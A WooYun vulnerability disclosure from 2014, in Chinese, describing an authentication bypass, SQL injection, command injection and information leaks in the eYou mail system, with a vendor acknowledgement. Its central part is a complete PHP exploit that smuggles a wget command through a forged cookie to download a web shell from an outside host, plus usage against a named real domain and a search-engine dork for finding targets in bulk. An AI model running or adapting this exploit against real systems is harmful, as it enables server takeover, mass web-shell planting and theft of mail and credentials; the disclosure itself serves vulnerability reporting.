当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-058462

漏洞标题：亿邮邮件系统越权引发蝴蝶效应

相关厂商：北京亿中邮信息技术有限公司

漏洞作者： felixk3y

提交时间：2014-04-25 18:09

修复时间：2014-07-24 18:10

公开时间：2014-07-24 18:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-25： 细节已通知厂商并且等待厂商处理中
2014-04-29： 厂商已经确认，细节仅向厂商公开
2014-05-02： 细节向第三方安全合作伙伴开放
2014-06-23： 细节向核心白帽子及相关领域专家公开
2014-07-03： 细节向普通白帽子公开
2014-07-13： 细节向实习白帽子公开
2014-07-24： 细节向公众公开

简要描述：

漏洞系列一:亿邮邮件系统存在严重的越权，可引发异常强大的蝴蝶效应 ..
可引起：
1.数据/权限层面：SQL注入、任意文件上传等等等 ..
2.操作层面：添加任意管理员账号、删除任意管理员账号、查看任意管理员/用户账号信息、锁定任意账号等等等 ..
当然，同样可执行任意命令，获取服务器权限，漫游内网 ..
最重要的是，可实现批量拿SHELL(已证明)，批量 批量哦 ..
最最重要是： 哈哈 这究竟算几个漏洞呢? 嗯??? 1个、2个、3个、4个、5个 ..
漏洞系列二：严重的信息泄露、源代码泄露（可直接获取数据库账号密码等信息）..

详细说明：

#1 越权之根源
随便打开一个文件看看，这里为
/grad/admin/admin_add_to.php（可添加毕业用户管理）

ValidateCookie();
// 定义毕业用户管理后台的常量
// 修改者：fenghui <[email protected]>
// 修改日期：2007/06/27
define('GRAD_TPL_PATH', 'tpl/grad/admin/cn/style1/');  // 毕业用户管理后台模板路径
define('COOKIE_TIMEOUT', 1800);  // 管理后台登录有效时长
define('MYSQL_ADMIN_DB', 'email_user');  // 管理员账户的mysql数据库名


重点在 ValidateCookie();函数，跟上
/grad/admin/admin.function.php

function ValidateCookie()
{
    //add by yangfeng on 2007-03-29 start 访问$lang中的值
    global $lang;
//    print_r($_COOKIE);
//    echo $_COOKIE["cookie"].'<br>';
//    echo $_COOKIE['admin'];
    //end
    if(empty($_COOKIE["cookie"]) || empty($_COOKIE['admin']))// 这里
    {
        show_msg($lang['TIMEOUT'],$lang['VALIDATECOOKIE'],0,"javascript:window.top.location.href='/grad/admin/index.php';void(0);");
    }else
    {   
        setcookie('cookie', $_COOKIE["cookie"], time()+1800);
        setcookie('admin',  $_COOKIE['admin'], time()+1800);
        setcookie("admin_grad",$_COOKIE['admin_grad'],time()+1800);
    }
}


权限验证居然还有这样的，只要cookie admin 不为空 就通过了 ..
(感叹下 ..此处省略10000字 ..)
#2 操作层面证明
对于 添加任意管理员账号、删除任意管理员账号、查看任意管理员/用户账号信息、锁定任意账号就不一一证明了，简单说明下就ok ..

1.jpg


添加用户等 ..

2.jpg


#3 SQL注入
总共有好几处，你们检查下，这里只贴一处
/grad/admin/admin_del_to.php （删除管理员）

$admin_id = request('admin_id');
if (empty($admin_id) || $admin_id == '') {
	show_msg($lang['ERROR'], '参数错误，无法删除！', 0);
}
// 删除管理员
$mysql = new mysql(MYSQL_HOST, MYSQL_USER, MYSQL_PW, MYSQL_ADMIN_DB);
$mysql->connect();
$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";
$mysql->query($query, true);
if ($mysql->affected_rows() != 1) {
	show_msg($lang['ERROR'], '无法从数据库中删除管理员！', 0);
}
show_msg($lang['SUCCESS'], '删除成功', 1, '/grad/admin/admin_list.php');
?>


这里的 $admin_id 参数 ，不多说：

$admin_id = request('admin_id');
$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";


#4 命令执行
/grad/admin/admin_logo_upload.php

require_once("admin.config.php");//这里有权限验证，够造cookie可以绕过
//--获取变量
$domain = $_COOKIE['cookie'];
//是否上传图片
if(!file_exists($_FILES["logofile"]["tmp_name"]))
{
   show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_NOFILE'],0); 
   exit();
}
//判断上传的文件是否为图片
$uptypes=array('image/jpg','image/jpeg','image/png', 'image/pjpeg','image/gif','image/bmp','image/x-png'); 
if(!in_array($_FILES["logofile"]["type"], $uptypes))  
{
 show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_FILETYPE'],0);
 exit();
}
//判断图片大小
/*
if (filesize($_FILES["logofile"]["tmp_name"]) >= 204800){
    show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_BIG'],0);    
    exit();
}
*/
//获取上传目录  2007-04-06 wanglei
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');
$res = fread($fp,1024);
if(!$res)
{
    show_msg($lang['ADMIN_MAINMENU_PATH_EROR']);
}


上面的代码中
require_once("admin.config.php");//这里有权限验证，够造cookie可以绕过
接下来看

$domain = $_COOKIE['cookie'];
 ...
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');
 ...


没有经过任何过滤便进入了危险的函数popen，造成任意命令执行漏洞。
#5 批量getsehll证明
码字太恼火了,直接给出命令执行漏洞的exp(稍微修改即可实现批量)

<?php
/*
 * Created By felixk3y ..
 * eYou getshell exploit ..
 */
 error_reporting(8);
 if($argc < 1){
    die('eyou_exp.php www.secmap.cn\r\n');
 }
 $host = $argv[1];
 $cookie ="admin=admin; cookie=1 || wget http://www.secmap.cn/1.txt -O /var/eyou/apache/htdocs/grad/admin/shell.php || 1";
 $bodys = upload();
 $res = httpRequest($host,$cookie,$bodys);
 $shell = "http://".$host."/grad/admin/shell.php";
 $re  = getshell($shell);
 if($re){
	echo "Success ..\nShell is :".$shell."\nPass is [ c ] .. \n";
 }else{
	echo "Getshell Failed ..\n";
 }
 function upload(){
	 $upload = "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
	 $upload .= "Content-Disposition: form-data; name=\"logofile\"; filename=\"upload.php\"\r\n";
	 $upload .= "Content-Type: image/jpeg\r\n\r\n";
	 $upload .= "GIF89a1234567890\r\n";
	 $upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
	 $upload .= "Content-Disposition: form-data; name=\"submit\"\r\n\r\n";
	 $upload .= "Upload\r\n";
	 $upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c--\r\n\r\n";
	 return $upload;
 }
 function getshell($url){
    $headers = get_headers($url);
    if(strpos($headers[0], 'HTTP/1.1 200 OK') === 0) {
		return true;
    } else {
		return false;
    }
}
 function httpRequest($host,$cookie,$body){
	 $data = '';
	 $data .= "POST /grad/admin/admin_logo_upload.php HTTP/1.1\r\n";
	 $data .= "Host: $host\r\n";
	 $data .= "Proxy-Connection: keep-alive\r\n";
	 $data .= "Content-Length: ".strlen($body)."\r\n";
	 $data .= "Cache-Control: max-age=0\r\n";
	 $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n";
	 $data .= "Origin: null\r\n";
	 $data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
	 $data .= "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
	 $data .= "Accept-Encoding: gzip,deflate,sdch\r\n";
	 $data .= "Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4\r\n";
	 $data .= "Cookie: ".$cookie."\r\n\r\n";
	 $data .= $body;
	 $fp = @fsockopen($host, 80);
     if(!$fp){
		 exit('Could not connect to: ' . $host);
     }else{
		 fwrite($fp, $data);
         $resp = '';
         while(!feof($fp)) {
            $resp .= fread($fp, 1024);
         }
         fclose($fp);
     }
     return $resp;
}
?>


exp用法：

eyou_exp.php cma.org.cn


首先Google intitle:亿邮通讯 任意选取一个证明：

3.jpg

漏洞证明：

#6 完美GETSHELL

4.jpg


#7 下面接着说漏洞系列二
直接获取数据库账号、密码等信息..
/php/report/include/config.inc (好像还有几处，你们查查)

5.jpg


源代码泄露：
/php/report/include/ldap.inc
/php/report/include/util.inc
/php/report/include/weblib.inc (好像同样也还有几处，你们查查)

6.jpg

修复方案：

你们懂的..

版权声明：转载请注明来源 felixk3y@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-04-29 17:36

厂商回复：

非常感谢提供，漏洞涉及老版系统，公司会尽快修复，并与客户协商尽快升级！

最新状态：

暂无